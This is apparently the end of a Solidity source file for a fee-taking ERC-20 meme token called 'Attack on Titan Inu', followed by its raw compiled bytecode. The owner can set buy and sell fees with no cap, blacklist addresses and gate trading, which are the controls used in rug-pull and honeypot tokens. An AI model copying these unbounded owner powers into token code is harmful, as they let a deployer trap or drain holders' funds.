private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610614578063dd62ed3e1461063d578063ea1644d51461067a578063f2fde38b146106a3576101cc565b8063a2a957bb1461055a578063a9059cbb14610583578063bfd79284146105c0578063c3c8cd80146105fd576101cc565b80638f70ccf7116100d15780638f70ccf7146104b25780638f9a55c0146104db57806395d89b411461050657806398a5c31514610531576101cc565b806374010ece146104335780637d1db4a51461045c5780638da5cb5b14610487576101cc565b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f81461039f5780636fc3eaec146103c857806370a08231146103df578063715018a61461041c576101cc565b8063313ce5671461032057806349bd5a5e1461034b5780636b99905314610376576101cc565b80631694505e116101a05780631694505e1461026257806318160ddd1461028d57806323b872dd146102b85780632fd689e3146102f5576101cc565b8062b8cf2a146101d157806306fdde03146101fa578063095ea7b314610225576101cc565b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f860048036038101906101f39190612f2f565b6106cc565b005b34801561020657600080fd5b5061020f61081c565b60405161021c9190613378565b60405180910390f35b34801561023157600080fd5b5061024c60048036038101906102479190612e9b565b610859565b6040516102599190613342565b60405180910390f35b34801561026e57600080fd5b50610277610877565b604051610284919061335d565b60405180910390f35b34801561029957600080fd5b506102a261089d565b6040516102af919061355a565b60405180910390f35b3480156102c457600080fd5b506102df60048036038101906102da9190612e4c565b6108ac565b6040516102ec9190613342565b60405180910390f35b34801561030157600080fd5b5061030a610985565b604051610317919061355a565b60405180910390f35b34801561032c57600080fd5b5061033561098b565b60405161034291906135cf565b60405180910390f35b34801561035757600080fd5b50610360610994565b60405161036d9190613327565b60405180910390f35b34801561038257600080fd5b5061039d60048036038101906103989190612dbe565b6109ba565b005b3480156103ab57600080fd5b506103c660048036038101906103c19190612f70565b610aaa565b005b3480156103d457600080fd5b506103dd610b5c565b005b3480156103eb57600080fd5b5061040660048036038101906104019190612dbe565b610c2d565b604051610413919061355a565b60405180910390f35b34801561042857600080fd5b50610431610c7e565b005b34801561043f57600080fd5b5061045a60048036038101906104559190612f99565b610dd1565b005b34801561046857600080fd5b50610471610e70565b60405161047e919061355a565b60405180910390f35b34801561049357600080fd5b5061049c610e76565b6040516104a99190613327565b60405180910390f35b3480156104be57600080fd5b506104d960048036038101906104d49190612f70565b610e9f565b005b3480156104e757600080fd5b506104f0610f51565b6040516104fd919061355a565b60405180910390f35b34801561051257600080fd5b5061051b610f57565b6040516105289190613378565b60405180910390f35b34801561053d57600080fd5b5061055860048036038101906105539190612f99565b610f94565b005b34801561056657600080fd5b50610581600480360381019061057c9190612fc2565b611033565b005b34801561058f57600080fd5b506105aa60048036038101906105a59190612e9b565b6110ea565b6040516105b79190613342565b60405180910390f35b3480156105cc57600080fd5b506105e760048036038101906105e29190612dbe565b611108565b6040516105f49190613342565b60405180910390f35b34801561060957600080fd5b50610612611128565b005b34801561062057600080fd5b5061063b60048036038101906106369190612ed7565b611201565b005b34801561064957600080fd5b50610664600480360381019061065f9190612e10565b611361565b604051610671919061355a565b60405180910390f35b34801561068657600080fd5b506106a1600480360381019061069c9190612f99565b6113e8565b005b3480156106af57600080fd5b506106ca60048036038101906106c59190612dbe565b611487565b005b6106d4611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610761576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610758906134ba565b60405180910390fd5b60005b8151811015610818576001601060008484815181106107ac577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061081090613894565b915050610764565b5050565b60606040518060400160405280601381526020017f41747461636b206f6e20546974616e20496e7500000000000000000000000000815250905090565b600061086d610866611649565b8484611651565b6001905092915050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000662386f26fc10000905090565b60006108b984848461181c565b61097a846108c5611649565b61097585604051806060016040528060288152602001613da160289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092b611649565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a19092919063ffffffff16565b611651565b600190509392505050565b60185481565b60006009905090565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6109c2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a46906134ba565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610ab2611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b3f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b36906134ba565b60405180910390fd5b80601560166101000a81548160ff02191690831515021790555050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b9d611649565b73ffffffffffffffffffffffffffffffffffffffff161480610c135750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bfb611649565b73ffffffffffffffffffffffffffffffffffffffff16145b610c1c57600080fd5b6000479050610c2a81612105565b50565b6000610c77600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612200565b9050919050565b610c86611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0a906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b610dd9611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5d906134ba565b60405180910390fd5b8060168190555050565b60165481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ea7611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f2b906134ba565b60405180910390fd5b80601560146101000a81548160ff02191690831515021790555050565b60175481565b60606040518060400160405280600381526020017f416f540000000000000000000000000000000000000000000000000000000000815250905090565b610f9c611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611029576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611020906134ba565b60405180910390fd5b8060188190555050565b61103b611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146110c8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110bf906134ba565b60405180910390fd5b8360088190555082600a819055508160098190555080600b8190555050505050565b60006110fe6110f7611649565b848461181c565b6001905092915050565b60106020528060005260406000206000915054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611169611649565b73ffffffffffffffffffffffffffffffffffffffff1614806111df5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111c7611649565b73ffffffffffffffffffffffffffffffffffffffff16145b6111e857600080fd5b60006111f330610c2d565b90506111fe8161226e565b50565b611209611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611296576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161128d906134ba565b60405180910390fd5b60005b8383905081101561135b5781600560008686858181106112e2577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020020160208101906112f79190612dbe565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061135390613894565b915050611299565b50505050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113f0611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461147d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611474906134ba565b60405180910390fd5b8060178190555050565b61148f611649565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461151c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611513906134ba565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561158c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115839061341a565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156116c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116b89061353a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611731576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117289061343a565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161180f919061355a565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561188c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611883906134fa565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156118fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118f39061339a565b60405180910390fd5b6000811161193f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611936906134da565b60405180910390fd5b611947610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156119b55750611985610e76565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611da057601560149054906101000a900460ff16611a44576119d6610e76565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614611a43576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a3a906133ba565b60405180910390fd5b5b601654811115611a89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a80906133fa565b60405180910390fd5b601060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b2d5750601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b639061345a565b60405180910390fd5b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c195760175481611bce84610c2d565b611bd89190613690565b10611c18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c0f9061351a565b60405180910390fd5b5b6000611c2430610c2d565b9050600060185482101590506016548210611c3f5760165491505b808015611c57575060158054906101000a900460ff16155b8015611cb15750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b8015611cc95750601560169054906101000a900460ff165b8015611d1f5750600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611d755750600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611d9d57611d838261226e565b60004790506000811115611d9b57611d9a47612105565b5b505b50505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611e475750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80611efa5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614158015611ef95750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b15611f08576000905061208f565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015611fb35750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611fcb57600854600c81905550600954600d819055505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120765750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561208e57600a54600c81905550600b54600d819055505b5b61209b84848484612566565b50505050565b60008383111582906120e9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120e09190613378565b60405180910390fd5b50600083856120f89190613771565b9050809150509392505050565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc61215560028461259390919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612180573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6121d160028461259390919063ffffffff16565b9081150290604051600060405180830381858888f193505050501580156121fc573d6000803e3d6000fd5b5050565b6000600654821115612247576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223e906133da565b60405180910390fd5b60006122516125dd565b9050612266818461259390919063ffffffff16565b915050919050565b60016015806101000a81548160ff0219169083151502179055506000600267ffffffffffffffff8111156122cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280602002602001820160405280156122f95781602001602082028036833780820191505090505b5090503081600081518110612337577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156123d957600080fd5b505afa1580156123ed573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124119190612de7565b8160018151811061244b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506124b230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611651565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612516959493929190613575565b600060405180830381600087803b15801561253057600080fd5b505af1158015612544573d6000803e3d6000fd5b505050505060006015806101000a81548160ff02191690831515021790555050565b8061257457612573612608565b5b61257f84848461264b565b8061258d5761258c612816565b5b50505050565b60006125d583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061282a565b905092915050565b60008060006125ea61288d565b91509150612601818361259390919063ffffffff16565b9250505090565b6000600c5414801561261c57506000600d54145b1561262657612649565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b60008060008060008061265d876128e9565b9550955095509550955095506126bb86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461295190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061275085600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061279c816129f9565b6127a68483612ab6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612803919061355a565b60405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b60008083118290612871576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128689190613378565b60405180910390fd5b506000838561288091906136e6565b9050809150509392505050565b600080600060065490506000662386f26fc1000090506128bf662386f26fc1000060065461259390919063ffffffff16565b8210156128dc57600654662386f26fc100009350935050506128e5565b81819350935050505b9091565b60008060008060008060008060006129068a600c54600d54612af0565b92509250925060006129166125dd565b905060008060006129298e878787612b86565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061299383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506120a1565b905092915050565b60008082846129aa9190613690565b9050838110156129ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129e69061347a565b60405180910390fd5b8091505092915050565b6000612a036125dd565b90506000612a1a8284612c0f90919063ffffffff16565b9050612a6e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461299b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612acb8260065461295190919063ffffffff16565b600681905550612ae68160075461299b90919063ffffffff16565b6007819055505050565b600080600080612b1c6064612b0e888a612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b466064612b38888b612c0f90919063ffffffff16565b61259390919063ffffffff16565b90506000612b6f82612b61858c61295190919063ffffffff16565b61295190919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612b9f8589612c0f90919063ffffffff16565b90506000612bb68689612c0f90919063ffffffff16565b90506000612bcd8789612c0f90919063ffffffff16565b90506000612bf682612be8858761295190919063ffffffff16565b61295190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600080831415612c225760009050612c84565b60008284612c309190613717565b9050828482612c3f91906136e6565b14612c7f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c769061349a565b60405180910390fd5b809150505b92915050565b6000612c9d612c988461360f565b6135ea565b90508083825260208201905082856020860282011115612cbc57600080fd5b60005b85811015612cec5781612cd28882612cf6565b845260208401935060208301925050600181019050612cbf565b5050509392505050565b600081359050612d0581613d5b565b92915050565b600081519050612d1a81613d5b565b92915050565b60008083601f840112612d3257600080fd5b8235905067ffffffffffffffff811115612d4b57600080fd5b602083019150836020820283011115612d6357600080fd5b9250929050565b600082601f830112612d7b57600080fd5b8135612d8b848260208601612c8a565b91505092915050565b600081359050612da381613d72565b92915050565b600081359050612db881613d89565b92915050565b600060208284031215612dd057600080fd5b6000612dde84828501612cf6565b91505092915050565b600060208284031215612df957600080fd5b6000612e0784828501612d0b565b91505092915050565b60008060408385031215612e2357600080fd5b6000612e3185828601612cf6565b9250506020612e4285828601612cf6565b9150509250929050565b600080600060608486031215612e6157600080fd5b6000612e6f86828701612cf6565b9350506020612e8086828701612cf6565b9250506040612e9186828701612da9565b9150509250925092565b60008060408385031215612eae57600080fd5b6000612ebc85828601612cf6565b9250506020612ecd85828601612da9565b9150509250929050565b600080600060408486031215612eec57600080fd5b600084013567ffffffffffffffff811115612f0657600080fd5b612f1286828701612d20565b93509350506020612f2586828701612d94565b9150509250925092565b600060208284031215612f4157600080fd5b600082013567ffffffffffffffff811115612f5b57600080fd5b612f6784828501612d6a565b91505092915050565b600060208284031215612f8257600080fd5b6000612f9084828501612d94565b91505092915050565b600060208284031215612fab57600080fd5b6000612fb984828501612da9565b91505092915050565b60008060008060808587031215612fd857600080fd5b6000612fe687828801612da9565b9450506020612ff787828801612da9565b935050604061300887828801612da9565b925050606061301987828801612da9565b91505092959194509250565b6000613031838361303d565b60208301905092915050565b613046816137a5565b82525050565b613055816137a5565b82525050565b60006130668261364b565b613070818561366e565b935061307b8361363b565b8060005b838110156130ac5781516130938882613025565b975061309e83613661565b92505060018101905061307f565b5085935050505092915050565b6130c2816137b7565b82525050565b6130d1816137fa565b82525050565b6130e08161381e565b82525050565b60006130f182613656565b6130fb818561367f565b935061310b818560208601613830565b6131148161396a565b840191505092915050565b600061312c60238361367f565b91506131378261397b565b604082019050919050565b600061314f603f8361367f565b915061315a826139ca565b604082019050919050565b6000613172602a8361367f565b915061317d82613a19565b604082019050919050565b6000613195601c8361367f565b91506131a082613a68565b602082019050919050565b60006131b860268361367f565b91506131c382613a91565b604082019050919050565b60006131db60228361367f565b91506131e682613ae0565b604082019050919050565b60006131fe60238361367f565b915061320982613b2f565b604082019050919050565b6000613221601b8361367f565b915061322c82613b7e565b602082019050919050565b600061324460218361367f565b915061324f82613ba7565b604082019050919050565b600061326760208361367f565b915061327282613bf6565b602082019050919050565b600061328a60298361367f565b915061329582613c1f565b604082019050919050565b60006132ad60258361367f565b91506132b882613c6e565b604082019050919050565b60006132d060238361367f565b91506132db82613cbd565b604082019050919050565b60006132f360248361367f565b91506132fe82613d0c565b604082019050919050565b613312816137e3565b82525050565b613321816137ed565b82525050565b600060208201905061333c600083018461304c565b92915050565b600060208201905061335760008301846130b9565b92915050565b600060208201905061337260008301846130c8565b92915050565b6000602082019050818103600083015261339281846130e6565b905092915050565b600060208201905081810360008301526133b38161311f565b9050919050565b600060208201905081810360008301526133d381613142565b9050919050565b600060208201905081810360008301526133f381613165565b9050919050565b6000602082019050818103600083015261341381613188565b9050919050565b60006020820190508181036000830152613433816131ab565b9050919050565b60006020820190508181036000830152613453816131ce565b9050919050565b60006020820190508181036000830152613473816131f1565b9050919050565b6000602082019050818103600083015261349381613214565b9050919050565b600060208201905081810360008301526134b381613237565b9050919050565b600060208201905081810360008301526134d38161325a565b9050919050565b600060208201905081810360008301526134f38161327d565b9050919050565b60006020820190508181036000830152613513816132a0565b9050919050565b60006020820190508181036000830152613533816132c3565b9050919050565b60006020820190508181036000830152613553816132e6565b9050919050565b600060208201905061356f6000830184613309565b92915050565b600060a08201905061358a6000830188613309565b61359760208301876130d7565b81810360408301526135a9818661305b565b90506135b8606083018561304c565b6135c56080830184613309565b9695505050505050565b60006020820190506135e46000830184613318565b92915050565b60006135f4613605565b90506136008282613863565b919050565b6000604051905090565b600067ffffffffffffffff82111561362a5761362961393b565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061369b826137e3565b91506136a6836137e3565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156136db576136da6138dd565b5b828201905092915050565b60006136f1826137e3565b91506136fc836137e3565b92508261370c5761370b61390c565b5b828204905092915050565b6000613722826137e3565b915061372d836137e3565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613766576137656138dd565b5b828202905092915050565b600061377c826137e3565b9150613787836137e3565b92508282101561379a576137996138dd565b5b828203905092915050565b60006137b0826137c3565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006138058261380c565b9050919050565b6000613817826137c3565b9050919050565b6000613829826137e3565b9050919050565b60005b8381101561384e578082015181840152602081019050613833565b8381111561385d576000848401525b50505050565b61386c8261396a565b810181811067ffffffffffffffff8211171561388b5761388a61393b565b5b80604052505050565b600061389f826137e3565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156138d2576138d16138dd565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613d64816137a5565b8114613d6f57600080fd5b50565b613d7b816137b7565b8114613d8657600080fd5b50565b613d92816137e3565b8114613d9d57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e0718f6c4c9cd948948e93079f9b40c35e998356e